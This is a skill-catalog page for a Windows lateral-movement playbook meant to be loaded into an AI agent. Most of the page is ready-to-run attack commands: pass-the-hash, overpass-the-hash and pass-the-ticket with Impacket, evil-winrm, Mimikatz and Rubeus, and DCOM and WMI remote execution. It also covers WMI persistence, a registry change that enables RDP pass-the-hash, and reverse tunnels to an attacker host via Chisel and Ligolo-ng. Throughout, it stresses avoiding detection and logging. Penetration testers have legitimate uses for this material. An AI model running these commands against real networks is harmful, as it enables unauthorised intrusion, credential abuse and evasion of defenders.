windows-lateral-movement
yaklang/hack-skills
Windows lateral movement via PsExec, WMI, WinRM, DCOM, RDP, and credential attacks.
What is windows-lateral-movement?
Expert playbook for pivoting between Windows hosts using remote execution methods and credential reuse techniques. Use when you have initial access and need to move laterally across a Windows domain or network.
- Compare and execute PsExec, WMI, WinRM, DCOM, RDP, and SSH lateral movement methods with OPSEC trade-offs
- Perform pass-the-hash attacks using NTLM hashes without plaintext passwords
- Execute overpass-the-hash to convert NTLM hashes into Kerberos TGTs for stealthier authentication
- Deploy pass-the-ticket attacks using existing Kerberos tickets for domain authentication
- Set up pivoting and tunneling through compromised hosts via SSH and Chisel
- Leverage DCOM COM objects (MMC20, ShellWindows, ShellBrowserWindow) for fileless remote execution
How to install windows-lateral-movement
npx skills add https://github.com/yaklang/hack-skills --skill windows-lateral-movement- Impacket tools (psexec.py, wmiexec.py, smbexec.py, atexec.py, dcomexec.py, getTGT.py)
- evil-winrm for WinRM-based lateral movement
- CrackMapExec for credential spraying
- Mimikatz or Rubeus for Kerberos ticket manipulation
- Valid credentials, NTLM hashes, or Kerberos tickets for target accounts
- Network access to target hosts (SMB port 445, WMI port 135, WinRM port 5985/5986, RDP port 3389)
How to use windows-lateral-movement
- 1.Identify available credentials or hashes from the compromised host using credential dumping techniques
- 2.Select the appropriate lateral movement method based on target configuration and OPSEC requirements using the comparison table
- 3.Execute the chosen method (PsExec, WMI, WinRM, DCOM, or RDP) with the obtained credentials or hashes
- 4.For hash-based attacks, use pass-the-hash directly or convert to Kerberos via overpass-the-hash for stealth
- 5.Establish persistence or pivot further using the newly compromised host as a staging point
- 6.Set up tunnels or port forwards through compromised hosts to access isolated internal resources
Use cases
- Move from one Windows host to another after initial compromise using available credentials or hashes
- Spray NTLM hashes across multiple targets to find admin access without plaintext passwords
- Convert stolen NTLM hashes to Kerberos tickets to avoid NTLM logging and detection
- Execute commands on internal Windows servers via WMI or WinRM when direct access is restricted
- Establish reverse tunnels through compromised hosts to access isolated internal network segments
- Red teamers and penetration testers performing domain compromise assessments
- Security researchers analyzing Windows lateral movement detection and evasion
- Incident responders investigating lateral movement in Windows environments
- Operators conducting authorized security testing of Windows infrastructure
windows-lateral-movement FAQ
Pass-the-hash uses the NTLM hash directly for authentication (SMB/WMI/RDP). Overpass-the-hash converts the NTLM hash into a Kerberos TGT, enabling pure Kerberos authentication which avoids NTLM logging and is harder to detect.
WMI, WinRM, and DCOM are highest OPSEC because they create no service artifacts and no binary uploads. Overpass-the-hash with Kerberos is stealthier than pass-the-hash because it avoids NTLM event logging.
Yes, but only if Restricted Admin mode is enabled on the target. Use xfreerdp with /pth flag or enable it via registry: reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
All methods require either plaintext password, NTLM hash, or Kerberos ticket for a user with admin rights on the target. WinRM also accepts Kerberos tickets. RDP requires RDP access permissions.
Use SSH tunneling (-D for SOCKS proxy, -L for local port forward) or Chisel for reverse tunneling without SSH. Route traffic through the compromised host to access internal resources.
Full instructions (SKILL.md)
Source of truth, from yaklang/hack-skills.
name: windows-lateral-movement description: >- Windows lateral movement playbook. Use when pivoting between Windows hosts via PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash, overpass-the-hash, or pass-the-ticket techniques.
SKILL: Windows Lateral Movement — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Windows lateral movement techniques. Covers PsExec, WMI, WinRM, DCOM, SMB, RDP, SSH, pass-the-hash, overpass-the-hash, pass-the-ticket, and pivoting. Base models miss execution method fingerprints, OPSEC trade-offs, and credential type requirements per method.
0. RELATED ROUTING
Before going deep, consider loading:
- windows-privilege-escalation after landing on a new host for local escalation
- windows-av-evasion when EDR blocks lateral movement tools
- active-directory-kerberos-attacks for Kerberos-based lateral (pass-the-ticket, delegation)
- active-directory-acl-abuse for ACL-based paths to new hosts
Advanced Reference
Also load CREDENTIAL_DUMPING.md when you need:
- LSASS dump techniques (MiniDump, comsvcs.dll, nanodump)
- SAM/SYSTEM/SECURITY extraction
- DPAPI, credential manager, cached domain credentials
- NTDS.dit extraction methods
1. REMOTE EXECUTION METHODS COMPARISON
| Method | Port | Cred Type | Creates Service? | File on Disk? | OPSEC | Admin Required? |
|---|---|---|---|---|---|---|
| PsExec | 445 (SMB) | Password/Hash | Yes (PSEXESVC) | Yes (.exe) | Low | Yes |
| Impacket smbexec | 445 | Password/Hash | Yes (temp service) | No | Medium | Yes |
| Impacket atexec | 445 | Password/Hash | No (scheduled task) | No | Medium | Yes |
| WMI | 135+dynamic | Password/Hash | No | No | High | Yes |
| WinRM | 5985/5986 | Password/Hash/Ticket | No | No | High | Yes (Remote Mgmt) |
| DCOM | 135+dynamic | Password/Hash | No | No | High | Yes |
| RDP | 3389 | Password/Hash (RestrictedAdmin) | No | No | Low (GUI session) | RDP access |
| SSH | 22 | Password/Key | No | No | High | SSH enabled |
| SC | 445 | Password/Hash | Yes (custom service) | Yes | Low | Yes |
2. PSEXEC VARIANTS
Impacket PsExec
# With password
psexec.py DOMAIN/administrator:password@TARGET_IP
# With NTLM hash (pass-the-hash)
psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
# With Kerberos ticket
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com
Impacket smbexec (Stealthier — No Binary Upload)
smbexec.py DOMAIN/administrator:password@TARGET_IP
smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
Impacket atexec (Scheduled Task)
atexec.py DOMAIN/administrator:password@TARGET_IP "whoami"
atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"
Sysinternals PsExec
PsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe
PsExec64.exe \\TARGET -s cmd.exe & REM Run as SYSTEM (-s)
PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"
3. WMI LATERAL MOVEMENT
# Impacket wmiexec
wmiexec.py DOMAIN/administrator:password@TARGET_IP
wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
# With Kerberos
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/administrator@target.domain.com
# PowerShell WMI process creation
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred
# WMI event subscription persistence
$filterArgs = @{
EventNamespace = 'root\cimv2'; Name = 'Updater';
QueryLanguage = 'WQL';
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
4. WINRM LATERAL MOVEMENT
# evil-winrm (from Linux — with password)
evil-winrm -i TARGET_IP -u administrator -p password
# evil-winrm (with hash)
evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH
# evil-winrm (with Kerberos)
evil-winrm -i target.domain.com -r DOMAIN.COM
# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred
# Execute command remotely
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
# Multiple targets simultaneously
Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }
5. DCOM LATERAL MOVEMENT
Stealthy — uses legitimate COM objects, no service creation.
MMC20.Application
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")
ShellWindows
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)
ShellBrowserWindow
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))
$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
Impacket dcomexec
dcomexec.py DOMAIN/administrator:password@TARGET_IP
dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20
6. PASS-THE-HASH (PTH)
Use NTLM hash directly without knowing the plaintext password.
# CrackMapExec — spray/check admin access
crackmapexec smb TARGETS -u administrator -H NTLM_HASH
# Impacket tools (all support -hashes)
psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
# evil-winrm
evil-winrm -i TARGET -u user -H NTLM_HASH
# xfreerdp (Restricted Admin mode must be enabled)
xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN
# Mimikatz PTH (spawns new process with injected creds)
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe
Enable Restricted Admin for RDP PTH
# On target (requires admin): enable restricted admin
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
7. OVERPASS-THE-HASH (PASS-THE-KEY)
Convert NTLM hash → Kerberos TGT → pure Kerberos authentication.
# Request TGT with hash
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache
# Or with AES256 key
getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP
# Use Kerberos for all subsequent tools
psexec.py -k -no-pass DOMAIN/user@target.domain.com
wmiexec.py -k -no-pass DOMAIN/user@target.domain.com
# Mimikatz overpass-the-hash
sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe
# New PowerShell session → klist shows Kerberos TGT
Advantage: Pure Kerberos auth avoids NTLM logging and detection.
8. PASS-THE-TICKET
# Use existing .ccache ticket
export KRB5CCNAME=/path/to/admin.ccache
psexec.py -k -no-pass DOMAIN/admin@target.domain.com
# Mimikatz — inject .kirbi ticket
kerberos::ptt ticket.kirbi
# Verify
klist
# Rubeus
Rubeus.exe ptt /ticket:base64_blob
9. PIVOTING THROUGH COMPROMISED HOSTS
SSH Tunnel / Port Forward
# Dynamic SOCKS proxy through compromised host
ssh -D 1080 user@COMPROMISED_HOST
# Use with proxychains
# Local port forward (access internal service)
ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST
Chisel (No SSH Needed)
# On attacker (server)
chisel server --reverse -p 8080
# On compromised host (client)
chisel client ATTACKER:8080 R:socks
# Creates SOCKS5 proxy on attacker's port 1080
Ligolo-ng (Modern, Fast)
# On attacker
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# On compromised host
ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert
# In ligolo console
session # Select agent
start # Start tunnel
# Add route: sudo ip route add INTERNAL_SUBNET/24 dev ligolo
10. LATERAL MOVEMENT DECISION TREE
Have credentials / hash — need to move laterally
│
├── What credentials do you have?
│ ├── Plaintext password → any method
│ ├── NTLM hash → PTH methods (§6)
│ │ ├── Need stealthier? → Overpass-the-Hash first (§7)
│ │ └── Direct use → psexec/wmiexec/evil-winrm with -H
│ ├── Kerberos ticket → Pass-the-Ticket (§8)
│ └── AES key → Overpass-the-Hash with -aesKey (§7)
│
├── OPSEC priority?
│ ├── High stealth needed
│ │ ├── WMI (no file on disk, no service) → wmiexec (§3)
│ │ ├── DCOM (uses legitimate COM) → dcomexec (§5)
│ │ └── WinRM (PowerShell remoting) → evil-winrm (§4)
│ ├── Moderate stealth
│ │ ├── smbexec (no binary upload) (§2)
│ │ └── atexec (scheduled task, auto-cleanup) (§2)
│ └── Low stealth acceptable
│ ├── PsExec (reliable, creates service) (§2)
│ └── RDP (interactive GUI) (§6)
│
├── Need to pivot to internal network?
│ ├── SSH available → SSH tunnel / SOCKS (§9)
│ ├── No SSH → Chisel or Ligolo-ng (§9)
│ └── Multiple hops → chain SOCKS proxies
│
├── Target hardening?
│ ├── SMB signing required → WMI, WinRM, or DCOM
│ ├── WinRM disabled → WMI or DCOM
│ ├── Firewall blocks 135/445 → RDP or SSH
│ └── Restricted Admin disabled → no RDP PTH → use other methods
│
└── Need to dump creds on new host?
└── Load CREDENTIAL_DUMPING.md
Related skills
More from yaklang/hack-skills and the wider catalog.

windows-privilege-escalation
Windows local privilege escalation via token abuse, Potato exploits, service misconfigurations, DLL hijacking, and UAC bypass.

xslt-injection
XSLT injection testing: processor fingerprinting, XXE, document() SSRF, EXSLT write, and RCE surfaces.

xss-cross-site-scripting
Expert XSS attack playbook covering context-specific payloads, WAF/CSP bypass, and post-exploitation techniques.

xxe-xml-external-entity
Expert XXE injection playbook covering SOAP, Office files, SVG, OOB exfiltration, and SSRF chains.

repomix-explorer
|

serenity-aleabitoreddit
Apply Serenity's supply-chain bottleneck lens to AI/semiconductor stock ideas and market judgment.